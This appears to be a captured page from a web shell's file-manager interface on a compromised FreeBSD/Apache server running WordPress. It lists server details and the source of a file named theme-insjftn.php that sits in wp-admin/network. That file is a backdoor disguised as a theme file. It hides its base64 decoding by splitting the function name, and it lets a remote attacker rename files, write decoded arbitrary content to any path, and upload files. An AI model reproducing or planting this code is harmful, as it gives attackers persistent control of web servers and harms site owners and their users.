HEX
Server: Apache/2.4.41 (FreeBSD) OpenSSL/1.0.2s mod_fcgid/2.3.9
System: FreeBSD salazo 12.0-RELEASE-p1303-ZFS hostBSD 12.0-RELEASE-p1303-ZFS DMR amd64
User: admin (1000)
PHP: 7.4.3
Disabled: NONE
$ pwd: /usr/local/www/apache24/noexec/open-the-door/wp-admin/network/
Upload Files
File: /usr/local/www/apache24/noexec/open-the-door/wp-admin/network/theme-insjftn.php
<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>
@ Telegram